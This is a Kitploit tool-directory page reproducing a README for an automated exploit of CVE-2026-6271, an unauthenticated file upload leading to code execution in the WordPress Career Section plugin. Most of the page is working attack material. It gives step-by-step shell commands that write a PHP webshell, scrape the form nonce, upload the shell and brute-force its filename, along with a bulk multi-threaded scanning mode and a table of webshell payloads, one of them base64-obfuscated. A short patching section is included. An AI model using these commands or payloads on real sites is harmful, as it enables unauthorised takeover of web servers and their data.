Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-6271 — Automated scanner for CVE-2026-6271, a critical unauthenticated arbitrary file upload leading to RCE in the WordPress Career Section plugin. Supports multi-threaded scanning, multiple shell types, and proxy integration. | Kitploit
Tools/GitHubGitHub/xxconi/cve-2026-6271
Vulnerability ScannersPayload GenerationExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubxxconi/cve-2026-6271

CVE-2026-6271

Automated scanner for CVE-2026-6271, a critical unauthenticated arbitrary file upload leading to RCE in the WordPress Career Section plugin. Supports multi-threaded scanning, multiple shell types, and proxy integration.

View Repository
13 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-6271 — Career Section WordPress Plugin RCE Scanner

Plugin: Career Section (career-section) CVE ID: CVE-2026-6271 CVSS Score: 9.8 (Critical) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Vulnerability Type: Unauthenticated Arbitrary File Upload → Remote Code Execution Affected Version: <= 1.7 Patched Version: 1.8 Disclosure Date: May 13, 2026 Researcher: Paolo Tresso — Wordfence


📌 About the Vulnerability

The Career Section plugin allows site owners to publish job listings and collect applications. Each job listing page includes an "Apply Now" form. This form contains a CV file upload field.

In versions 1.7 and earlier the upload handler accepts any file type — including .php. Since the form is public and the CSRF token is embedded in the page HTML, this flaw can be exploited without requiring any account or privileges.


⚙️ Technical Analysis

Why Nonce Protection Doesn't Help

WordPress nonces are CSRF tokens, not authentication tokens. The nonce value is embedded in the page HTML for every visitor:

root@kitploit:~
<script id='prosolwpclient-public-js-extra'>
<!-- templates/single-csection.php — line 316 -->
<?php wp_nonce_field( 'csaf_form_submission', 'csaf_form_nonce' ); ?>

Any unauthenticated visitor can obtain a valid nonce and pass the validation check.

Missing File Type Validation

root@kitploit:~
// templates/single-csection.php — lines 170–182 (version 1.7)
if ( ! empty( $_FILES['cv']['name'] ) && ! empty( $_FILES['cv']['tmp_name'] ) ) {

    $original_name = sanitize_file_name( $_FILES['cv']['name'] );
    $name_file     = time() . '_' . $original_name;
    $destination   = $cs_dir . '/' . $name_file;

    // NO extension check — anything including .php is accepted
    if ( $wp_filesystem->move( $_FILES['cv']['tmp_name'], $destination, true ) ) {
        $uploaded_file_url = $upload_dir['baseurl']
                           . '/cs_applicant_submission_files/'
                           . $name_file;
    }
}

sanitize_file_name() only cleans special characters, it does not block dangerous extensions.

Upload Directory

root@kitploit:~
wp-content/uploads/cs_applicant_submission_files/<timestamp>_<filename>

This directory has no .htaccess file to prevent PHP execution.


🔴 Why Critical

ReasonDescription
No authentication requiredNonce is embedded in public HTML
No file type restriction.php, .php5, .phtml accepted
No .htaccess protectionPHP executes in upload directory
Predictable filenametime()_filename → timestamp brute-force

🧪 Proof of Concept (Manual)

⚠️ Disclaimer: This PoC is for educational purposes only. Only test on systems you own or have explicit written permission to test.

Prerequisites:

  • Career Section plugin installed and active (version ≤ 1.7)
  • At least one job listing published

Step 1 — Create a PHP Webshell

root@kitploit:~
echo '<?php system($_GET["cmd"]); ?>' > shell.php

Step 2 — Extract the Nonce

root@kitploit:~
TARGET="http://target.com"
JOB_URL="$TARGET/careers/software-engineer/"

NONCE=$(curl -s "$JOB_URL" \
  | grep -oP 'name="csaf_form_nonce" value="\K[^"]+')

echo "Nonce: $NONCE"

Structure to search for in page source:

root@kitploit:~
<input type="hidden"
       id="csaf_form_nonce"
       name="csaf_form_nonce"
       value="a1b2c3d4e5" />

Step 3 — Upload Webshell

root@kitploit:~
TS=$(date +%s)

curl -s -X POST "$JOB_URL" \
  -F "first_name=John" \
  -F "last_name=Doe" \
  -F "present_address=123 Main St" \
  -F "[email protected]" \
  -F "mobile_no=1234567890" \
  -F "post_name=Engineer" \
  -F "submit=Submit" \
  -F "csaf_form_nonce=$NONCE" \
  -F "[email protected];type=application/pdf" \
  | grep -o "Application has been sent"

Step 4 — Trigger RCE

Filename format is <timestamp>_shell.php. Try timestamps around $TS:

root@kitploit:~
UPLOADS="$TARGET/wp-content/uploads/cs_applicant_submission_files"

for T in $(seq $((TS-2)) $((TS+2))); do
  URL="$UPLOADS/${T}_shell.php"
  RESULT=$(curl -s "$URL?cmd=id")
  if echo "$RESULT" | grep -q "uid="; then
    echo "Webshell active: $URL"
    echo "RCE output    : $RESULT"
    break
  fi
done

Expected output:

root@kitploit:~
Webshell active: http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE output    : uid=33(www-data) gid=33(www-data) groups=33(www-data)

🛠️ Automated Scanner

Installation

root@kitploit:~
git clone https://github.com/kullanici/cve-2026-6271-scanner
cd cve-2026-6271-scanner
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 Usage

Single Target

root@kitploit:~
python career_section_rce.py -u http://target.com

Direct Job URL

root@kitploit:~
python career_section_rce.py -u http://target.com \
  --job-url http://target.com/careers/engineer/

With Shell Verification

root@kitploit:~
python career_section_rce.py -u http://target.com \
  --verify-cmd "whoami"

Bulk Scan

root@kitploit:~
python career_section_rce.py -l targets.txt -t 20 -o results.txt

Increase Timestamp Window (Slow Servers)

root@kitploit:~
python career_section_rce.py -u http://target.com --ts-window 10

Full Shell + Proxy (Burp Suite)

root@kitploit:~
python career_section_rce.py -u http://target.com \
  --shell-type full \
  --proxy http://127.0.0.1:8080

⚙️ Parameters

ParameterShortDescriptionDefault
--url-uSingle target URL—
--list-lTarget list file—
--threads-tNumber of threads10
--output-oOutput filerce_confirmed.txt
--job-url—Direct job listing URL—
--shell-name—Uploaded file nameshell.php
--shell-type—Shell typesystem
--verify-cmd—RCE verification commandid
--ts-window—Timestamp brute-force window (±sec)5
--proxy—Proxy URL—
--timeout—Request timeout (sec)10

💀 Shell Types

TypePayloadDescription
system<?php system($_GET["cmd"]); ?>Basic system command
passthru<?php passthru($_GET["cmd"]); ?>Raw output
exec<?php echo exec($_GET["cmd"]); ?>Silent execution
assert<?php assert($_POST["cmd"]); ?>POST eval
b64<?php eval(base64_decode($_POST["cmd"])); ?>Base64 obfuscation
fullshell_exec + system + exec fallbackFull-featured shell

📂 Shell Upload Location

root@kitploit:~
WordPress Root/
└── wp-content/
    └── uploads/
        └── cs_applicant_submission_files/
            └── <timestamp>_shell.php   ← Shell here

Direct access:

root@kitploit:~
curl "http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

📊 Scanner Output Statuses

StatusDescription
★ RCE OKShell uploaded + command executed successfully
★ SHELL ALIVEShell accessible, returned different response
~ EXEC_DISABLEDShell exists but exec() disabled on server
? UPLOADEDUploaded but timestamp not found
- BLOCKEDFile type blocked (patched version)
~ NO_NONCEcsaf_form_nonce not found
~ TIMEOUTConnection timeout
~ UNREACHTarget unreachable

🖥️ Example Scanner Output

root@kitploit:~
[*] 3 targets | CVE-2026-6271 Career Section | threads=10

[★ RCE OK    ] http://target1.com
  Nonce     : a1b2c3d4e5  (source: http://target1.com/careers/engineer/)
  Shell URL : http://target1.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
  RCE Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

[- BLOCKED   ] http://target2.com  (file type blocked)
[~ NO_NONCE  ] http://target3.com  (csaf_form_nonce not found)

──────────────────────────────────────────────────────────────
  UPLOADED_RCE_OK         :    1  █
  BLOCKED                 :    1  █
  NO_NONCE                :    1  █
──────────────────────────────────────────────────────────────
  RCE confirmed → rce_confirmed.txt
──────────────────────────────────────────────────────────────

🛡️ Defense / Patching

MeasureImplementation
Plugin UpdateUpgrade to Career Section 1.8 or higher
Block PHP ExecutionAdd .htaccess to upload directory
Extension WhitelistAccept only pdf, doc, docx
MIME ValidationCheck real content with finfo_file()
WAF RuleBlock .php upload requests

.htaccess for wp-content/uploads/cs_applicant_submission_files/ directory:

root@kitploit:~
<FilesMatch "\.php\d?$">
    Deny from all
</FilesMatch>

Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar

📁 File Structure

root@kitploit:~
cve-2026-6271-scanner/
├── career_section_rce.py   # Main scanner
├── requirements.txt        # Dependencies
└── README.md               # This file

⚠️ Legal Disclaimer

This tool and PoC are prepared for educational purposes and penetration testing on authorized systems only. Unauthorized use on systems you do not own is illegal under Article 243-245 of the Turkish Penal Code and international cybercrime laws. The developer assumes no legal liability for any misuse of this tool.


📄 License

MIT License — For educational and research purposes only.


🔗 References

  • Wordfence Advisory
  • WordPress Plugin Directory — Career Section
  • CVSS 3.1 Calculator
Download Tool